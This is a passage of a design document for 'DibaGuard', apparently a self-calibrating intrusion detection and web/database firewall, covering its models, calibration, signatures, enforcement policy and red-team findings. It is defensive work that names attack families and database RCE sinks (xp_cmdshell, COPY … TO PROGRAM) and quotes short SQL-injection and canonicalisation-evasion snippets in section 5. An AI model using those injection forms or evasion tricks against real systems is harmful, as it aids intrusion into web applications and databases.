+ site: a context vector pooled from the site's own benign streams → Linear 64→128 → (γ, β) FiLM on the
120
+ top hidden state: the same weights read every network relative to that network's normal
121
+ head: Linear 64→64, ReLU, Linear 64→40 (attack logit + family logits)
122
+ ```
123
+
124
+ It runs only on *warm* sources (a few flows of history); its reference is drawn from warm sources only, so it is
125
+ never judged against first-contact traffic. Numpy and Go implementations agree to parity tolerance (a step costs
126
+ ~8.6 µs in Go at d = 24, kept at d = 64 for accuracy).
127
+
128
+ ### 3.5 HTTP — HttpModel2 (site-conditioned byte n-gram network)
129
+
130
+ Requests are first **canonicalised** (`dibaguard/http/canon.py`): method and path, then query, body, cookie and
131
+ selected header fields as `q:k=v | b:k=v | c:k=v | h:k=v`, each value decoded to a fixpoint (URL encoding over
132
+ up to four rounds, `%uXXXX`, HTML entities, `\xNN`/`\uNNNN`, Unicode NFKC, SQL comment and whitespace folding), so
133
+ encodings cannot hide a payload from what comes next.
134
+
135
+ ```
136
+ text → byte n-grams of orders 2–6 (rolling FNV hash + splitmix64 finaliser, 262,144 buckets)
137
+ → EmbeddingBag (mean, 48 dims, int8 with per-column scales) [the "bag" vector v]
138
+ ⊕ 7 side features (decoding depth, length, number of parameters, Persian share, non-ASCII, specials, digits)
139
+ ⊕ cosine distance between v and the SITE's mean bag vector
140
+ → Linear 56→128, ReLU → FiLM from the SITE context (Linear 128→256 → γ, β) → Linear 128→1 (attack logit)
141
+ temperature 1.72 (calibrated); per-Host profile + per-Host conformal reference
142
+ ```
143
+
144
+ The site profile is computed from a few hundred of the site's own benign requests (bootstrapped automatically from
145
+ the first requests the layer sees, rebuilt every epoch, one profile per Host when one layer protects many sites).
146
+ That is what lets one model serve a Persian shop, a WordPress blog and a JSON API: each is judged against its own
147
+ normal. Persian traffic is first-class (the side features, the Persian false-positive suite). The site's n-gram
148
+ *novelty* score exists in the model (`HttpModel2.novelty`) and was evaluated (AUROC 0.92 on WordPress vs 0.61 for
149
+ the plain model), but is **not** part of the live verdict yet.
150
+
151
+ ### 3.6 HTTP session tier
152
+
153
+ A client's requests are also fed to the entity state as events of its stream (the "port" is a hash of the path),
154
+ so the same behaviour counters describe enumeration (walking ids with failures), scraping (walking pages, all
155
+ served), credential stuffing (one endpoint failing again and again) and L7 floods. The tier-1 model scores the
156
+ stream; **the tier has its own conformal reference** of the site's benign sessions (a request stream is not a flow
157
+ stream: a visitor reading ten product pages walks ten "ports", and judging it against flows would call every browser
158
+ a scanner — measured, and fixed in v2.5).
159
+
160
+ ### 3.7 DbNet — the database query network
161
+
162
+ One small network for every query language DibaGuard reads (SQL dialects, CQL, MongoDB commands and filters, Redis
163
+ commands, Elasticsearch requests, Cypher). Its input is the query's **structure**: string literals become `'s'`,
164
+ numbers `0`, hex blobs `0x`, ids that mix digits and letters `h`, identifiers that are not part of a language (table,
165
+ column, key names) `x`, credential-like names `cred`, JSON keys keep their names only when they are language
166
+ (commands, `$operators`) or credentials; MySQL version-comments are unwrapped and inline comments reduced to a
167
+ marker. The network therefore judges what a query *does*, whatever the schema, and a scary word inside a properly
168
+ quoted value is just `'s'`.
169
+
170
+ ```
171
+ structure → byte n-grams 2–6 (same hashing as the HTTP tier, 65,536 buckets) → EmbeddingBag (mean, 48, int8)
172
+ → Linear 48→64, ReLU → Linear 64→7 (benign, injection, rce, privilege, destructive, recon, unbounded)
173
+ ```
174
+
175
+ Trained on a generated corpus (`scripts/db_corpus.py`): a probabilistic SQL grammar and templates for the normal
176
+ workloads of many application styles on 13 engines, and attack templates delivered *through* application queries
177
+ (numeric and string injection points) with obfuscations; n-gram dropout and label smoothing; evaluated on *held-out
178
+ templates* (attack techniques and application idioms never seen in training). Its threshold is set per database by
179
+ conformal calibration on that database's own normal queries (α/10 per query: databases see thousands a minute).
180
+ ~80 µs per query in Python batches; 2.4 MB.
181
+
182
+ ### 3.8 What each learned part is trained on
183
+
184
+ | model | data | split used for the numbers |
185
+ |---|---|---|
186
+ | monotone prior, GRU | NetFlow-style corpora of public datasets (see section 9) | leave-one-dataset-out |
187
+ | HttpModel2 | labelled HTTP corpora + the ModSecurity 2025 archive's first 20 days | last 10 days (time split), unseen sites |
188
+ | DbNet | generated grammar corpus | held-out templates; independent lab generator |
189
+
190
+ The licence status of each source is audited in `docs/DATA_LICENSES.md` (section 9 summarises it).
191
+
192
+ ---
193
+
194
+ ## 4. Turning scores into decisions: calibration science
195
+
196
+ ### 4.1 Conformal false-alarm control
197
+
198
+ For a score *s* and a reference set of the site's own benign scores *R*, the p-value is
199
+ `p = (1 + #{r ∈ R : r ≥ s}) / (1 + |R|)`; alarming when `p < α` gives a false-alarm rate of at most α on traffic
200
+ exchangeable with the reference — whatever the model, whatever the training data. Every tier is calibrated this
201
+ way; the budget α is split across tiers (half to the per-event tiers, the rest to evidence, destination and
202
+ campaign tiers) so the total stays within α.
203
+
204
+ ### 4.2 Mondrian cells: service × source age
205
+
206
+ A first flow of any client looks different from its hundredth, and a DNS flow from an HTTPS one. References are kept
207
+ per **service × age bucket** (age = how many flows the source has really shown: 1, 2–5, 6–20, 21��100, 101–500,
208
+ >500); a young bucket with too little data is pooled with its neighbours rather than abstaining (so a slow scanner
209
+ living in a thin bucket is still judged); only a source's very first flow abstains.
210
+
211
+ ### 4.3 References that follow the site — and do not ratchet
212
+
213
+ Every 30 minutes all references are rebuilt at once from the last two hours of traffic, mixed with an immutable
214
+ *anchor* (a sample of the first clean calibration), so the reference follows the site but cannot drift without
215
+ bound. Two failure modes had to be designed out, and both were measured:
216
+
217
+ * **The ratchet.** Leaving every alarmed event out of the next reference truncates its upper tail; the next
218
+ threshold drops; more benign events alarm; they are left out too. Measured in the low-and-slow lab: benign alarms
219
+ went **1.8% → 6% → 10% → 15% → 18% → 21%** of source-minutes over six hours. Fix: an un-named soft alarm at the α
220
+ budget *is* the benign tail and stays in the reference.
221
+ * **Self-poisoning.** Keeping everything in lets a weakly-detected attacker teach the reference to accept it.
222
+ Measured: an evolving scan's recall went 1.0 → 0 over twelve waves, and an AI scraper that was not yet alarmed
223
+ became 20% of the session reference within one wave. Fix: (a) every event of a source whose alarms *keep coming*
224
+ (a decayed count reaching 3 over the window) stays out; (b) **no single source may write more than ~1% of a
225
+ reference** (busy benign sources are subsampled, not excluded).
226
+
227
+ With both, the hard lab's twelve evasion waves keep every flow attack at 1.0 recall while benign alarms fell by an
228
+ order of magnitude.
229
+
230
+ ### 4.4 Drift or poisoning? The drift guard
231
+
232
+ Before each epoch's reference is adopted, its upper tail is compared with the anchor's: if more than 3% of the
233
+ window sits above the anchor's 99th percentile, the guard asks *who put it there*. A shift spread across many sources
234
+ is a site that changed (a release, a new client population) — adopted and reported. A shift driven by a handful of
235
+ sources (the top 20 sources owning more than half of the tail, or fewer than 30 sources in it) is an attacker
236
+ "boiling the frog" — their rows are held out and they are logged.
237
+
238
+ ### 4.5 Evidence: CUSUM over a source's stream
239
+
240
+ A slow attacker never produces one very unusual event; it produces many slightly unusual ones. Each source carries
241
+ two evidence accumulators (time constants 2 min and 30 min) over `−log p` of its suspicious events (p < 0.5), with a
242
+ one-sided CUSUM allowance equal to the benign mean plus one standard deviation of that quantity, floored at zero —
243
+ so chatty benign clients and flash crowds never accumulate, while a scan at one probe a minute does. The evidence is
244
+ itself judged against an out-of-sample reference.
245
+
246
+ ### 4.6 Destinations, and campaigns
247
+
248
+ * **Destination tier**: a destination flooded by many new sources (distributed DoS) is detected from the
249
+ destination's own evidence; a flow is *acted on* only if its own source piles on (several flows within ~10 s) — a
250
+ visitor who opened one page of the attacked server is watched, never rate-limited (fixed in v2.5 after the lab
251
+ showed benign visitors being rate-limited during an SSH botnet attack).
252
+ A pool of bots that keeps reconnecting is no longer "new" after its first contact, so a volume far over the
253
+ destination's norm (2.5×) carried by *young* sources also counts; while the destination evidence reference is
254
+ still filling (a small network has few destinations), only the unmistakable flood — three times the calibrated
255
+ peak, young sources — does.
256
+ * **Campaign tier** (`dibaguard/campaign.py`): a 3,000-proxy credential-stuffing run or a 400-machine SSH botnet
257
+ guessing once per half hour per machine has no suspicious source at all. The tier fingerprints events
258
+ (flows: service × failed-connect or short-auth-session; HTTP: host × method × path template), counts **distinct
259
+ failing sources per fingerprint per 5-minute window**, compares with that fingerprint's own benign history
260
+ (median/MAD, never tighter than Poisson; a pooled prior while young), and runs a one-sided CUSUM over windows so a
261
+ slow campaign adds up over hours; a strong spike fires at once. Members are the sources that failed on an active
262
+ fingerprint and **never succeeded** on it — a user who mistyped a password and then logged in is not a member.
263
+ Internet background radiation is part of every public site's normal and is in the reference; only a departure
264
+ from it is a campaign. Every failing source counts towards *detecting* a campaign (logging in once first cannot hide
265
+ it); a source that succeeded is shielded from *membership* only for one slip, for an hour, while it is not mostly
266
+ failing. In a network with no failing background at all, sixteen distinct failing sources in a window stand out.
267
+ Three corrections came out of the independent validation (2026-10-31): a completed connection to a port now also
268
+ answers for that port's failed-connect fingerprint (the two are separate keys, so an ordinary client's one failed
269
+ connect during a live scan used to make it a block-safe member: 20.7 % of benign source-minutes on SIMARGL 2021);
270
+ members must be shaped like a campaign's sources (young, or failing at least half the time — on HTTP: brand new, or
271
+ failing most requests); and a fingerprint that stays active is adopted slowly — one active window in four joins its
272
+ own history and the CUSUM is capped — so a lasting benign level shift ends within about two hours instead of never.
273
+ * **Global scan tier**: the site-wide rate of unanswered / half-open flows is judged against the site's **own**
274
+ one-hour level (floor + 4×, seeded from the calibration window), and while it is hot only scan-shaped sources are
275
+ flagged; at a milder surge (1.5×) only young sources that do nothing but fail. An absolute floor alone alarmed about
276
+ half of all benign source-minutes on real traffic whose normal includes many unanswered flows (validation V-22).
277
+ * **Deterministic behaviour rules** next to the statistical tiers, for sources the site has not known for long
278
+ (< 500 flows; an attacker is caught long before that): a *slow scan* (≥ 20 attempts on the 30-minute horizon, ≥ 80 %
279
+ to never-used endpoints, ≥ 80 % failing) and *sustained guessing* on an interactive login service (≥ 120 short
280
+ sessions on the 30-minute horizon, ≥ 80 % to an endpoint already used: SSH / RDP / telnet / FTP / VNC — 15 guesses a
281
+ minute for half an hour was invisible before). The age gate came from real traffic: in CSE-CIC-IDS2018 the flow
282
+ exporter cuts established users' long RDP sessions into many short records (~82k benign records flagged without
283
+ it), and established hosts' unanswered lookups walk "new" endpoints too.
284
+
285
+ ### 4.7 Established machines
286
+
287
+ Real networks are full of legitimate machines that repeat themselves at a high rate: SCADA servers polling PLCs every
288
+ second, monitoring agents, API clients, CDN edges, workstations talking to a proxy, directory and file servers. On
289
+ networks unlike the training data the unfamiliar-network lab showed them being named "brute force", excluded from the
290
+ reference, and — once their pace changed — alarmed (and in one case blocked) for good. Two rules fixed it:
291
+
292
+ * *Brute force* means repetition **and** a sign of failure (no reply, reset) or an attacker's rate **on an
293
+ authentication service**. Many connections to a proxy, a broker or an API without failures are a busy client. A
294
+ *short* flow (under 10 ms, one or two packets) is not a failure: every DNS / NTP exchange is that short, and counting
295
+ it made office workstations "brute forcers" (3–5 blocked per run before the fix, 0 after).
296
+ * A source with hundreds of flows of history whose flows show **no failure at all**, named only for repeating itself,
297
+ is *established*: it stays in the reference, its purely statistical alarms (prior, sequence, evidence — its pace,
298
+ not its shape) are not alarms, and it is never auto-blocked. A change of shape, a flood, a campaign still alarm. The
299
+ exception never applies to services where repeated short sessions are password guessing (SSH, RDP, telnet, FTP, VNC,
300
+ databases, mail logins).
301
+
302
+ ---
303
+
304
+ ## 5. HTTP edge: signatures and SQL-context analysis
305
+
306
+ ### 5.1 Request signatures (playbook A01–A22)
307
+
308
+ What needs no statistics is caught by explainable, named signatures over the canonical text — JNDI/Log4Shell,
309
+ CMS exploit paths, SQL injection, NoSQL operator injection, traversal/LFI, command injection, XSS, SSTI/XXE/SSRF,
310
+ sensitive-file probes, and AI crawlers that declare themselves — each with a family and a default action (block or
311
+ challenge, overridable by policy). The same signatures run in Go (RE2, with exact per-signature prefilters so benign
312
+ requests skip every regex — a browser User-Agent costs ~4 µs) and a parity test proves Python and Go agree on every
313
+ fixture.
314
+
315
+ **One canonical text, the same on every path.** Canonicalisation (`http/canon.py`, `http/parse.py`) is where an
316
+ evasion lives or dies, and the independent validation found it was the weakest point (V-01…V-08). Since then: SQL
317
+ comments are folded only outside quoted literals and the unfolded text is judged too (a `/*' union …*/` wrapper can no
318
+ longer delete live code); `#…` / `--…` line comments are removed *before* line breaks are folded (`union#x⏎select`);
319
+ tab / newline inside a URL scheme are deleted as browsers do (`java⇥script:`); every occurrence of a duplicate JSON key
320
+ and every value of a repeated header is judged; nothing is truncated silently — every multipart field is its own
321
+ value, whole values are written within a 32 KB budget and the rest becomes an `x:oversized` part that is itself
322
+ suspicious. The Go fast path now builds the **byte-identical** text (`go/dibaguard/canon.go`, `parse.go`, with
323
+ Python's NFKC and HTML-entity tables generated into Go): on 1,398 parity requests text and depth are identical, so the
324
+ sidecar judges the same text the inline path saw. A canonicalisation fuzz of 3,000 cases (11 payload families × 18
325
+ placements × transforms): Python and Go block 99.3 % each, their verdicts diverge on 0 % (32.8 % before), and 0.7 % —
326
+ case-variant entity names browsers do not decode and multipart names broken by a newline — are missed by every path
327
+ (12.7 % before). Regexes that were quadratic on crafted input are linear-time matchers (`shield/rx.py`).
328
+
329
+ ### 5.2 SQL-context analysis (A22)
330
+
331
+ The database tier's understanding brought to the edge (`dibaguard/http/sqlctx.py`). Every parameter — query string,
332
+ body, cookies, the headers attackers like (User-Agent, Referer, X-Forwarded-For…), and *keys*, because payloads hide
333
+ in keys — is decoded as a server would (URL ×3, HTML entities, `%u`, `\x`, `\u`, null bytes), passes a gate (a
334
+ character that can close a literal or cut a statement, a word only SQL uses, or a boolean joined to a number or
335
+ quote), and is then **placed into the contexts applications build queries with**: numeric, single-quoted,
336
+ double-quoted (judged as a string with the quotes swapped), parenthesised, LIKE. The resulting query is judged by
337
+ the database tier's signatures on its literal-stripped structure: a value that stays inside its quotes is data
338
+ (O'Reilly, Persian text, JSON, URLs); one that breaks out into a tautology (including arithmetic ones like
339
+ `5*5=25`), a UNION extraction with an attack's fingerprint, a stacked statement, a time delay, an error-based
340
+ extractor, a scalar sub-query or a comment cut is an injection — named A22 and blocked. DbNet runs as a second
341
+ opinion on values that speak SQL; a hit only DbNet sees is soft (challenge), and a parameter whose DbNet-only hits
342
+ come from many different clients with never a signature is learned as that site's own syntax (a filter language).
343
+ Values are cached (user agents and cookies repeat endlessly): ~37 µs per request; the work per request is bounded —
344
+ every field, in overlapping 960-character windows, within a 6,144-character budget — and when the budget runs out the
345
+ request gets a soft verdict (alarm and challenge), never a silent pass. The hard part of A22 also runs inline in Go
346
+ (`sqlctx.go`, verdict-identical on the fixture), so `' or 1 in (1,2)-- -` no longer waits for the sidecar. The
347
+ fallback "a literal closed by the payload" needs real SQL between the break-out and the comment or `;` in string
348
+ contexts: English prose with an apostrophe and `--` (`I'm happy -- 5 stars`) was blocked as SQLi before (validation
349
+ V-18: 146 users per 1,000 per day in a simulated shop; 0 now).
350
+
351
+ Head-to-head with **libinjection** (the SQL-injection engine behind ModSecurity CRS rule 942100), rule engine against
352
+ rule engine on the same real requests (`guard_jobs/compare_waf.py`, run on Kaggle): on the visible SQL payloads of the
353
+ ModSecurity 2025 archive DibaGuard catches every request libinjection catches and 24 more; on the 80,234 benign
354
+ zanbil.ir requests it raises no alarm where libinjection raises 12; on SR-BH 2020 it catches more. The archive was
355
+ labelled by CRS itself, so the comparison is, if anything, tilted towards libinjection.
356
+
357
+ ### 5.3 Payload provenance (DB ↔ HTTP)
358
+
359
+ When an injection reaches a database through an application server, the database tier sees the application's
360
+ address. The layer keeps a short ring of recent decoded requests and finds the web request whose tokens and literals
361
+ match the query's payload within a few seconds — and acts on *that* client. The application server is never blocked.
362
+
363
+ ---
364
+
365
+ ## 6. The database tier
366
+
367
+ `dibaguard/shield/database.py` understands 13 engines (PostgreSQL, MySQL/MariaDB, MSSQL, Oracle, CockroachDB,
368
+ ClickHouse, MongoDB, CouchDB, Cassandra/ScyllaDB, Redis, Memcached, etcd, Elasticsearch/OpenSearch, Neo4j, InfluxDB,
369
+ plus Kafka/ZooKeeper ports for the posture audit) and reads six log formats as they are written (PostgreSQL stderr
370
+ log, MySQL general log with thread → client tracking, MongoDB JSON log, Cassandra audit log, Redis MONITOR,
371
+ Elasticsearch audit JSON). Three views of every query, combined:
372
+
373
+ * **signatures** on views that remove *data*: SQL/CQL/Cypher literals, JSON string values (keys and `$operators`
374
+ kept), and the arguments of ordinary key-value commands (only CONFIG/SLAVEOF/EVAL/MODULE/ACL/FLUSH… are read with
375
+ their arguments). Families: rce from the database (COPY … TO PROGRAM, xp_cmdshell, CONFIG SET dir, `$where`,
376
+ UDFs, LOAD DATA / INTO OUTFILE, Lua escapes, ES scripts, APOC), privilege escalation, destruction and ransom
377
+ notes, injection, credential/catalog recon, unbounded reads.
378
+ * **DbNet** (section 3.7), thresholded per database.
379
+ * **behaviour per client**: authentication-failure bursts; rows read over three times the client's own busiest
380
+ minute *and* five times its peers' current median (a sales surge lifts every app server together; a dump makes one
381
+ stand out), and the same per **table** — a paged dump of `customers` through the application's own connection is
382
+ +13 % of the application's rows but five times its reads of that table (validation V-21, caught since); clients
383
+ that never talked to this database; and — the key to precision — query *shapes* the
384
+ applications run in their normal workload are trusted for the soft families (an injection is by definition a
385
+ structure the application did not write).
386
+
387
+ Policy: every DB family maps to an action (`db_rce`, `db_privilege`, `db_destructive`, `db_injection`: block;
388
+ `db_exfil`: rate-limit; `db_recon`, `db_new_client`: monitor). **An application server is never blocked at the
389
+ network level** (that would take the application down): its alarm carries the exact remediation to run on the
390
+ database (`pg_terminate_backend`, `KILL`, `db.killOp`, `CLIENT KILL`, `nodetool`…), and payload provenance acts on
391
+ the web attacker behind it. Report mode records everything and acts on nothing.
392
+
393
+ ---
394
+
395
+ ## 7. The shield: policy, enforcement, identity, feedback
396
+
397
+ * **Policy** (`shield/policy.py`): `mode` report | enforce, α, per-family actions, minimum action score, TTLs,
398
+ allowlist, posture rules, database section. Report mode is the default.
399
+ * **Enforcer** (`shield/enforce.py`): nftables, iptables, Windows Firewall (netsh) or dry-run, with TTLs and an
400
+ audit log; IPv6 blocks cover the address's /64 (rotation inside a /64 is free for an attacker).
401
+ * **When to act**: only with history or a hard signal (`block_ok`); otherwise a block *or a rate limit* becomes a watch
402
+ (flows) or a challenge (HTTP) — a first-contact source raising only a soft behavioural tier, a visitor caught in a
403
+ flood it did not pile onto, an IoT device on a flooded broker are never limited. An enforced action takes its *name*
404
+ from the alarms that make it enforceable (one event's confidence and another event's name are no verdict).
405
+ **Shared addresses** — the CGNAT range, or an address seen with six or more user-agents within 15 minutes — are
406
+ judged per user behind them (sub-entities) and are challenged, not blocked, as a whole; the attacker's own requests
407
+ are still refused inline. An address whose recent traffic is mostly alarmed or failing (≥ 70 % of ≥ 20 requests in
408
+ ~10 min) is judged whole and is not exempted: eight rotated user-agents no longer buy one stuffer a challenge.
409
+ **IPv6** sources are judged as their /64 (detection state as well as blocks), so a fresh address per request inside
410
+ one subscriber's /64 is one source. **Machine clients**: search-engine crawlers matched by user-agent *and* their
411
+ published ranges are watched, never acted on as an address; a behavioural challenge on a client that is not a
412
+ browser becomes a rate limit (a JavaScript challenge would cut it off); an established client polling the same
413
+ endpoints with every request answered does not trip the session tier.
414
+ * **Bounded state that an attacker cannot flush or rewind**: every per-source table evicts a fresh entry before one
415
+ that has earned state (8+ flows, evidence, risk); an out-of-order event never moves a clock back and counts with
416
+ its weight at the record's clock, exp(−lateness / τ).
417
+ * **Posture audit** (`shield/posture.py`): what the host exposes that the policy did not ask for (P1–P5: unexpected
418
+ public listeners, databases/Redis/Docker facing the internet, plaintext management, enforce mode without a
419
+ firewall, public chain RPC), closed automatically only when the policy says so.
420
+ * **Rules in any language** (`shield/rules.py`): "block anyone brute forcing ssh over 30 attempts per minute"
421
+ — interpreted by the built-in bilingual parser or by any LLM
422
+ through a fixed schema, shown back as a precise rule before installing, enforced from the first second (no
423
+ learning window). Behavioural conditions (flows/requests per minute, new ports per minute, no-reply share, repeat
424
+ share) are filled from the engine's counters.
425
+ * **Feedback** (`shield/feedback.py`): confirm / reject / always-ok, with immediate effect (lift, reset evidence,
426
+ re-learn the site). Guarded against poisoning: clearing a source whose alarms carry hard evidence needs a second,
427
+ explicit confirmation; a burst of clears (more than 50 an hour) needs confirmation; nothing wider than a /24 (/48)
428
+ can be allowlisted through feedback; one verdict teaches at most 20 requests; the journal is a hash chain, so an
429
+ edited or deleted verdict is detected.
430
+ * **Review queue**: hard alarms always; soft ones only when sustained; many sources deviating together without an
431
+ attack shape collapse into one `site:drift` item.
432
+
433
+ ---
434
+
435
+ ## 8. Runtime, integration, operations
436
+
437
+ * **Go fast path** (`go/dibaguard`): one decision function shared by the inline reverse proxy (`dibaguard-proxy`) and
438
+ the external-authorization service (`dibaguard-authz`) for nginx `auth_request`, ingress-nginx, Envoy `ext_authz`,
439
+ Traefik ForwardAuth, Caddy forward_auth and HAProxy (Lua auth-request, or a Runtime-API blocklist syncer so HAProxy
440
+ drops blocked sources in its own data path). Client identity: right-to-left walk over trusted proxies only,
441
+ `Forwarded:`, PROXY protocol v1/v2, IPv6 normalisation and /64 grouping; malformed escapes and `;` kept as data so
442
+ they cannot hide a payload. Tested against real nginx 1.30.6. See `docs/INTEGRATIONS.md`.
443
+ * **LLM bridge** (`dibaguard/llm.py`): every capability is a tool, served over MCP (stdio) and REST; state-changing
444
+ calls and re-calibration need the console token and a CSRF header; traffic feeds that carry sources need the feed
445
+ token (`DIBAGUARD_FEED_TOKEN`, sent by the Go proxy and authz service), so nobody who merely reaches the port can
446
+ make the layer block an address of their choice.
447
+ * **Operator console** (`dibaguard/console.py`, `docs/CONSOLE.md`): overview, incidents with evidence and
448
+ remediation, review queue, rules (interpret → install), policy (switching to enforce requires typing ENFORCE),
449
+ databases, posture, and *Teach*: connect any LLM (OpenAI-compatible or Anthropic) and talk to the layer in any
450
+ language; the LLM only *proposes* changes, the operator approves each one.
451
+ * **High availability** (`dibaguard/state.py`, `docs/HA.md`) and **performance** (`docs/PERFORMANCE.md`):
452
+ snapshots without pickle, shared enforcement between replicas, source-affinity routing, measured scale.
453
+ * **QA** (`scripts/qa_all.py`): every test file, Go tests and builds, the sidecar over REST and MCP, the proxy end to
454
+ end; the private documentation Space is rebuilt from the current numbers (`scripts/make_space_docs.py`).
455
+
456
+ ---
457
+
458
+ ## 9. Data and licences
459
+
460
+ The audit in `docs/DATA_LICENSES.md` classifies every source. In short: several public corpora the early models
461
+ were trained on (the NetFlow v2/v3 collections and re-uploads of them, some mirrored copies, several payload lists)
462
+ are **not** cleared for commercial use; the original CIC releases (with citation), SIMARGL 2021, LUFlow from its
463
+ author, SR-BH 2020, the ModSecurity 2025 archive and our own generators are. A licence-clean retraining of the
464
+ flow, sequence and HTTP models from cleared sources only is part of v2.5's work (`docs/CLEAN_MODELS.md`). The DB
465
+ tier and the SQL-context analysis use no third-party training data at all.
466
+
467
+ ---
468
+
469
+ ## 10. Ideas that make it work (summary)
470
+
471
+ 1. **Behaviour, not identity**: scale-free, identity-free stream counters as the shared representation.
472
+ 2. **Calibrate at the site**: conformal p-values against the site's own traffic, per service × source age.
473
+ 3. **Site-conditioned networks** (FiLM on a context pooled from the site's own normal) for both flows and HTTP.
474
+ 4. **Structure, not text**: SQL-context analysis and DbNet judge what a value *does* to a query.
475
+ 5. **Clean but complete references**: keep the benign tail, keep sustained sources out, cap every source's share,
476
+ anchor every epoch, and ask *who* moved the tail before adopting drift.
477
+ 6. **Many scales**: event, stream, half-hour, destination, site, fingerprint-across-sources (campaigns).
478
+ 7. **Act carefully**: block only with history or hard evidence; never block shared addresses or application servers
479
+ as a whole; attribute injections to their web source.
480
+ 8. **Humans and LLMs in the loop, safely**: rules in any language with a precise read-back; approval-gated LLM
481
+ proposals; a feedback loop that cannot be poisoned by a click or a chat.
482
+ 9. **Attackers fail; busy machines don't**: failure signs separate brute force from polling, and established
483
+ failure-free machines are trusted for their pace while still judged for their shape.
484
+ 10. **Test where it hurts**: every number comes from labs written to break the system (evolving attackers, internet
485
+ radiation, unfamiliar networks, an independent red team), and every fault they found is fixed and kept as a test.
486
+
487
+ ---
488
+
489
+ ## 11. History: what was built, what failed, what changed
490
+
491
+ | version | what | lesson |
492
+ |---|---|---|
493
+ | v1 | per-flow tree models on public datasets; HTTP byte n-gram model | in-dataset 0.99 AUROC, 0.47–0.93 on unseen networks: per-flow features do not transfer |
494
+ | v1.5 | entity-stream features | alone they transfer (held-out AUROC 0.62→0.99 on one testbed, 0.47→0.99 on another); raw flow fields hurt |
495
+ | v2 | GRU sequence net with site context; site-conditioned HTTP model; monotone prior; site-only anomaly; conformal per tier | unconstrained trees scored scans *below* benign → monotone constraints |
496
+ | v2.1 | evidence per source, Mondrian service × true age, epoch re-calibration, shield (policy, enforcer, posture, playbook, JSON-RPC), Go proxy, LLM bridge | an FPR ratchet over hours → epoch re-calibration with anchor |
497
+ | v2.2 | feedback, multilingual rules, destination tier, slow evidence, red-team lab | stale feedback inflated precision → fresh per run, reject TTL |
498
+ | v2.3 | hard lab (evolving attacker), zero-mean CUSUM, newborn rules, global tiers, platforms lab, per-Host HTTP profiles, signatures A15–A21 + Go RE2 port | a single HTTP profile for many sites flagged 18% of one site's traffic → per-Host profiles |
499
+ | v2.4 | database tier (13 engines, 6 log formats, DbNet, provenance), SQL-context analysis at the edge | real SQLi recall 0.536 → 0.984 on visible payloads; the old 0.539 was measured on CRS labels that include brute-force passwords and payload-less rows |
500
+ | v2.5 | campaign tier, low-and-slow lab, unfamiliar-network lab, drift guard, reference hygiene (ratchet + poisoning), session reference, destination-tier action gating, NAT/CGNAT/IPv6 identity, feedback anti-poisoning, authz integrations, console, HA, performance, licence audit and clean retraining, independent red team | the stricter labs found real faults (ratchet, self-poisoning, collateral rate-limits, mis-calibrated session tier) — each fixed and re-measured |
501
+ | v2.6 | independent validation of three properties (22 findings), every one fixed at its root; Go canonical text byte-identical to Python; A22 inline in Go; feed token; per-table exfiltration; slow-scan and sustained-guessing rules; bounded, un-rewindable state | numbers can hide in arithmetic: a float32 rounding tie alarmed 99.7 % of CRS negatives, a reference size between n_needed and 1/α silently disabled a tier, and two fingerprints of one port made ordinary clients members of a live scan campaign |
502
+
503
+ ### Independent red team
504
+
505
+ An independent red team (an agent that did not build the system, working only through the code and the Python API,
506
+ offline) attacked v2.5 for evasion, cascade bypass, poisoning and resource exhaustion and reported ten findings with
507
+ reproducible tests (`docs/REDTEAM_FINDINGS.md`, `tests/redteam/`): SQL tautology spellings outside the signatures
508
+ (between / in / is true / regexp / xor / bare `or 1`), modern XSS event handlers, single-step traversal to secrets,
509
+ missing command names, EVAL-wrapped Redis RCE and Mongo operator injection on identity fields, slow database
510
+ exfiltration under the 5-minute horizon, campaign immunity bought with one successful login, a feedback guard based on
511
+ a hand-written family list, payloads in headers the model text left out, and a crafted request costing ~330 ms. All
512
+ ten are fixed; their tests now run as regression tests. The defences that held (canonicalisation against ten classic
513
+ obfuscation layers, coverage of every common SQL sink, the journal's hash chain, the allowlist width cap) are listed
514
+ with numbers in the same document.
515
+
516
+ ### Independent validation: correctness, reliability, independent data
517
+
518
+ A second, independent team (an agent that did not build the system) validated three properties
519
+ (`docs/VALIDATION_REPORT.md`, tests in `tests/validation/`): **security correctness** (can the engine be bypassed —
520
+ canonicalisation fuzz of 3,000 cases, Go/Python parity, header/body/JSON smuggling, state attacks: LRU flushing,
521
+ late records, reference poisoning, identity tricks, the sidecar's feeds), **detection reliability** (multi-stage
522
+ kill chains, and harm to legitimate users over 26 simulated hours of a shop), and **independent validation** on data
523
+ and environments nobody here designed (the OWASP CRS regression suite, real benign and attack HTTP traffic, public
524
+ flow captures run on Kaggle). It reported 22 findings, 10 of them high. All were fixed at the root and every repro
525
+ became a regression test; the re-measurement:
526
+
527
+ | measure | before | after |
528
+ |---|---|---|
529
+ | fuzz: Python / Go inline block | 72.5 % / 68.4 % | 99.3 % / 99.3 % |
530
+ | fuzz: Python–Go verdicts diverge / missed by every path | 32.8 % / 12.7 % | 0.0 % / 0.7 % |
531
+ | credential stuffing with 8 rotated user-agents / inside one IPv6 /64 | 300/300 served, never blocked | blocked after 40 / blocked |
532
+ | one attack request in the HTTP bootstrap; attacker-chosen `Host` profile | model-only detection 87.5 → 68.8 %; 0 % | unchanged / 100 % flagged |
533
+ | SSH guessing 15/min for 30 min; paged dump of `customers` via the app | 0 alarms; 0 alarms | caught; caught |
534
+ | legitimate users blocked / challenged per 1,000 per day (simulated shop) | 146 / 180 | **0** [0, 0.3] / 50.5 |
535
+ | partner API clients and the search crawler challenged | all | none |
536
+ | English review sentences with `'` and `--` blocked | 16/16 | 0/16 |
537
+ | benign source-minutes alarmed on real flows (CSE-CIC-IDS2018 / SIMARGL 2021) | 49.6 % / 43.8 % | 6.8 % / 24.1 % (1.0 % without the global tiers) |
538
+
539
+ Two faults were found while re-testing the fixes and are fixed too: scores equal up to float32 rounding were treated
540
+ as different (one unit in the last place over a reference full of identical scores is p = 1/(n+1): the session tier
541
+ alarmed 99.7 % of CRS negative tests on the intermediate tree, 7.3 % after), and a reference whose size lies between
542
+ the PAC minimum and 1/α returned an infinite threshold (a tier silently off).
543
+
544
+ ---
545
+
546
+ ## 12. Running and testing
547
+
548
+ ```bash
549
+ # the sidecar (start in report mode with the dry-run backend; switch to enforce only after a review)
550
+ python -m dibaguard.llm http --models models --port 8787 --policy policy.json --backend dryrun
551
+ # the console: http://127.0.0.1:8787/console (SSH-tunnel it; never expose it)
552
+ # Go fast path: dibaguard-proxy (inline) or dibaguard-authz (behind nginx / Envoy / HAProxy / Traefik / Caddy)
553
+
554
